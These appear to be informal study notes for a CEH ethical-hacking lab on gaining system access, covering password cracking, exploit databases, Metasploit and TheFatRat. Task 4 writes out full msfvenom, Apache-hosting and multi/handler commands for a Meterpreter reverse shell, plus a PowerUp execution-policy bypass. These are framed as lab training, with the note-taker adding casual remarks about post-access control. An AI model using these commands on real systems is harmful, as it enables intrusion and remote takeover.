Lab 1: Gain Access to the System

Module 06: System Hacking

Lab 1: Gain Access to the System

Task 1: Perform Active Online Attack to Crack the System’s Password using Responder

refer to blog for more info this will use john the ripper to crack the password . requires ubuntu so doubt it will be on test

---------------------------------------------------------------------------------------------------------------------------------------

Module 06: System Hacking

Lab 1: Gain Access to the System

Task 2: Audit System Passwords using L0phtCrack

D:\CEH-Tools\CEHv11 Module 06 System Hacking\Password Cracking Tools\L0phtCrack; double-click lc7setup_v7.1.5_Win64.exe.

password auditing wizzardchoose system type

import from a remote machine

10.10.10.16

select use specific user credentials

next

select through password auditiot

next

select

generate report at end of auditing

CSV

Choose report file name

click next

next

finish

L0phtCrack starts cracking the passwords

under NTLM password it will show cracked poasswoprds

when the scan is complete or you get the user info your looking for then you can hit stop

---------------------------------------------------------------------------------------------------------------------------------------

Module 06: System Hacking

Lab 1: Gain Access to the System

Task 3: Find Vulnerabilities on Exploit Sites that list the vulnerabilities probably not on test!

open firefox

go to https://www.exploit-db.com/

click any of the latest vulnerabilities to view

click: SEARCH EDB

or navigate to https://www.exploit-db.com/search

In the Type field: remote

in the Platform field: Windows_x86-64

search

click on: CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass).

click on the download exploit code

go to downloads forlder

open with notepad++

This exploit code can further be used to exploit vulnerabilities in the target system.

Similarly, you can search vulnerabilities and download their exploit from the SecurityFocus website.

https://www.securityfocus.com

---------------------------------------------------------------------------------------------------------------------------------------

Module 06: System Hacking

Lab 1: Gain Access to the System

Task 4: Exploit Client-Side Vulnerabilities and Establish a VNC Session

sudo su

enter this:

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=10.10.10.13 LPORT=444 -o /root/Desktop/Test.exe

This will generate Test.exe, a malicious file at the location /root/Desktop,

MAKE SURE YOU TYPE IT CORRECT WILL SAY PAYLOAD SIZE AND SAVED

now create a directory to share this file with the target

mkdir /var/www/html/share

chmod -R 755 /var/www/html/share

chown -R www-data:www-data /var/www/html/share

now ls

go to desktop: cd Desktop

locate the test.exe file you made if you see it

type this:

cp test.exe /var/www/html/share

enter

Here, we are sending the malicious payload through a shared directory;

type:

service apache2 start

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.10.13

set LPORT 444

type: run

should say started reverse TCP handler

switch to windows 10 machine

firedfox

go to:

http://10.10.10.13/share

download test.exe

go to downloads run the test.txt

Observe that one session has been created or opened in the Meterpreter shell, on parrot sec

you now have full access to their computer and can run commands you have saved from last company red team to do as you wish.

type: sysinfo

if you get disconected or you dont connect try:sessions -i 1

upload /root/PowerSploit/Privesc/PowerUp.ps1 PowerUp.ps1

type shell

enter

dir

powershell -ExecutionPolicy Bypass -Command “. .\PowerUp.ps1;Invoke-AllChecks”

this will run powerup .ps1

list appears with all AbuseFunction that the script has found

exit

enter

run vnc

This will open a VNC session for the target machine

This concludes the demonstration of how to exploit client-side vulnerabilities and establish a VNC session using Metasploit.

you can do so much more from transfering files to creating users keylogging anything from here.

---------------------------------------------------------------------------------------------------------------------------------------

Module 06: System Hacking

Lab 1: Gain Access to the System

Task 5: Gain Access to a Remote System using Armitage

Armitage is a scriptable red team collaboration tool for Metasploit that visualizes targets, recommends exploits,

and exposes the advanced post-exploitation features in the framework. Using this tool, you can create sessions, share

hosts, capture data, downloaded files, communicate through a shared event log, and run bots to automate pen testing tasks.

refer to blog for steps

---------------------------------------------------------------------------------------------------------------------------------------

Module 06: System Hacking

Lab 1: Gain Access to the System

Task 6: Hack a Windows Machine with a Malicious Office Document using TheFatRat

Social engineering is one of hackers’ most typically used attacks. As recent trends suggest, many big organizations

fall victim to this attack vector. The attackers trick an employee of a workplace into clicking links in a

legitimate-looking document, which turns out to be malicious and can even evade anti-virus programs.

TheFatRat is an exploitation tool that compiles malware with a popular payload that can then be executed on Windows,

Android, and Mac OSes. The software offers an easy way to create backdoors and payloads that can bypass most anti-viruses.

refer to blog for steps

---------------------------------------------------------------------------------------------------------------------------------------

Module 06: System Hacking

Lab 1: Gain Access to the System

Task 7: Perform Buffer Overflow Attack to Gain Access to a Remote System

A buffer is an area of adjacent memory locations allocated to a program or application to handle its runtime data.

Buffer overflow or overrun is a common vulnerability in applications or programs that accept more data than the allocated buffer

. This vulnerability allows the application to exceed the buffer while writing data to the buffer and overwrite neighboring memory

locations. Further, this vulnerability leads to erratic system behavior, system crash, memory access errors, etc. Attackers exploit

a buffer overflow vulnerability to inject malicious code into the buffer to damage files, modify program data, access critical

information, escalate privileges, gain shell access, etc.

This task demonstrates the exploitation procedure applied to a vulnerable server running on the victim’s system. This

vulnerable server is attached to Immunity Debugger. As an attacker, we will exploit this server using malicious script to gain

remote access to the victim’s system.

refer to blog for steps

Lab Scenario

For a professional ethical hacker or pen tester, the first step in system hacking is to gain access to a target system using information obtained and loopholes found in the system’s access control mechanism. In this step, you will use various techniques such as password cracking, vulnerability exploitation, and social engineering to gain access to the target system.

Password cracking is the process of recovering passwords from the data transmitted by a computer system or stored in it. It may help a user recover a forgotten or lost password or act as a preventive measure by system administrators to check for easily breakable passwords; however, an attacker can use this process to gain unauthorized system access.

Password cracking is one of the crucial stages of system hacking. Hacking often begins with password cracking attempts. A password is a key piece of information necessary to access a system. Consequently, most attackers use password-cracking techniques to gain unauthorized access. An attacker may either crack a password manually by guessing it or use automated tools and techniques such as a dictionary or brute-force method. Most password cracking techniques are successful, because of weak or easily guessable passwords.

Vulnerability exploitation involves the execution of multiple complex, interrelated steps to gain access to a remote system. Attackers use discovered vulnerabilities to develop exploits, deliver and execute the exploits on the remote system.

The labs in this exercise demonstrate how easily hackers can gather password information from your network and demonstrate the password vulnerabilities that exist in computer networks.

Lab Objectives

Perform active online attack to crack the system’s password using Responder
Audit system passwords using L0phtCrack
Find vulnerabilities on exploit sites
Exploit client-side vulnerabilities and establish a VNC session
Gain access to a remote system using Armitage
Hack a Windows machines with a malicious Office document using TheFatRat
Perform buffer overflow attack to gain access to a remote system

Overview of Gaining Access

The previous phases of hacking such as footprinting and reconnaissance, scanning, enumeration, and vulnerability assessment help identify security loopholes and vulnerabilities that exist in the target organizational IT assets. You can use this information to gain access to the target organizational systems. You can use various techniques such as passwords cracking and vulnerability exploitation to gain access to the target system.

Task 1: Perform Active Online Attack to Crack the System’s Password using Responder

LLMNR (Link Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are two main elements of Windows OSes that are used to perform name resolution for hosts present on the same link. These services are enabled by default in Windows OSes and can be used to extract the password hashes from a user.

Since the awareness of this attack is low, there is a good chance of acquiring user credentials in an internal network penetration test. By listening for LLMNR/NBT-NS broadcast requests, an attacker can spoof the server and send a response claiming to be the legitimate server. After the victim system accepts the connection, it is possible to gain the victim’s user-credentials by using a tool such as Responder.py.

Responder is an LLMNR, NBT-NS, and MDNS poisoner. It responds to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool only responds to a File Server Service request, which is for SMB.

Here, we will use the Responder tool to extract information such as the target system’s OS version, client version, NTLM client IP address, and NTLM username and password hash.

In this task, we will use the Ubuntu (10.10.10.9) machine as the host machine and the Windows 10 (10.10.10.10) machine as the target machine.

Task 2: Audit System Passwords using L0phtCrack

L0phtCrack is a tool designed to audit passwords and recover applications. It recovers lost Microsoft Windows passwords with the help of a dictionary, hybrid, rainbow table, and brute-force attacks. It can also be used to check the strength of a password.

In this lab, as an ethical hacker or penetration tester, you will be running the L0phtCrack tool by providing the remote machine’s administrator with user credentials. User account passwords that are cracked in a short amount of time are weak, meaning that you need to take certain measures to strengthen them.

Here, we will audit system passwords using L0phtCrack.

Task 3: Find Vulnerabilities on Exploit Sites

Exploit sites contain the details of the latest vulnerabilities of various OSes, devices, and applications. You can use these sites to find relevant vulnerabilities about the target system based on the information gathered, and further download the exploits from the database and use exploitation tools such as Metasploit, to gain remote access.

Here, we attempt to find the vulnerabilities of the target system using various exploit sites such as Exploit DB and Security Focus.

Task 4: Exploit Client-Side Vulnerabilities and Establish a VNC Session

Attackers use client-side vulnerabilities to gain access to the target machine. VNC (Virtual Network Computing) enables an attacker to remotely access and control the targeted computers using another computer or mobile device from anywhere in the world. At the same time, VNC is also used by network administrators and organizations throughout every industry sector for a range of different scenarios and uses, including providing IT desktop support to colleagues and friends and accessing systems and services on the move.

This lab demonstrates the exploitation procedure enforced on a weakly patched Windows 10 machine that allows you to gain remote access to it through a remote desktop connection.

Here, we will see how attackers can exploit vulnerabilities in target systems to establish unauthorized VNC sessions using Metasploit and remotely control these targets.

In this task, we will use the Parrot Security (10.10.10.13) machine as the host system and the Windows 10 (10.10.10.10) machine as the target system.

Task 5: Gain Access to a Remote System using Armitage

Armitage is a scriptable red team collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework. Using this tool, you can create sessions, share hosts, capture data, downloaded files, communicate through a shared event log, and run bots to automate pen testing tasks.

Here, we will use the Armitage tool to gain access to the remote target machine.

In this task, we will use the Parrot Security (10.10.10.13) machine as the host system and the Windows 10 (10.10.10.10) machine as the target system.

Task 6: Hack a Windows Machine with a Malicious Office Document using TheFatRat

Social engineering is one of hackers’ most typically used attacks. As recent trends suggest, many big organizations fall victim to this attack vector. The attackers trick an employee of a workplace into clicking links in a legitimate-looking document, which turns out to be malicious and can even evade anti-virus programs.

TheFatRat is an exploitation tool that compiles malware with a popular payload that can then be executed on Windows, Android, and Mac OSes. The software offers an easy way to create backdoors and payloads that can bypass most anti-viruses.

Here, we will use TheFatRat to hack the Windows machine with a malicious office document.

Task 7: Perform Buffer Overflow Attack to Gain Access to a Remote System

A buffer is an area of adjacent memory locations allocated to a program or application to handle its runtime data. Buffer overflow or overrun is a common vulnerability in applications or programs that accept more data than the allocated buffer. This vulnerability allows the application to exceed the buffer while writing data to the buffer and overwrite neighboring memory locations. Further, this vulnerability leads to erratic system behavior, system crash, memory access errors, etc. Attackers exploit a buffer overflow vulnerability to inject malicious code into the buffer to damage files, modify program data, access critical information, escalate privileges, gain shell access, etc.

This task demonstrates the exploitation procedure applied to a vulnerable server running on the victim’s system. This vulnerable server is attached to Immunity Debugger. As an attacker, we will exploit this server using malicious script to gain remote access to the victim’s system.

In this task, we use a Parrot Security (10.10.10.13) machine as the host machine and a Windows 10 (10.10.10.10) machine as the target machine.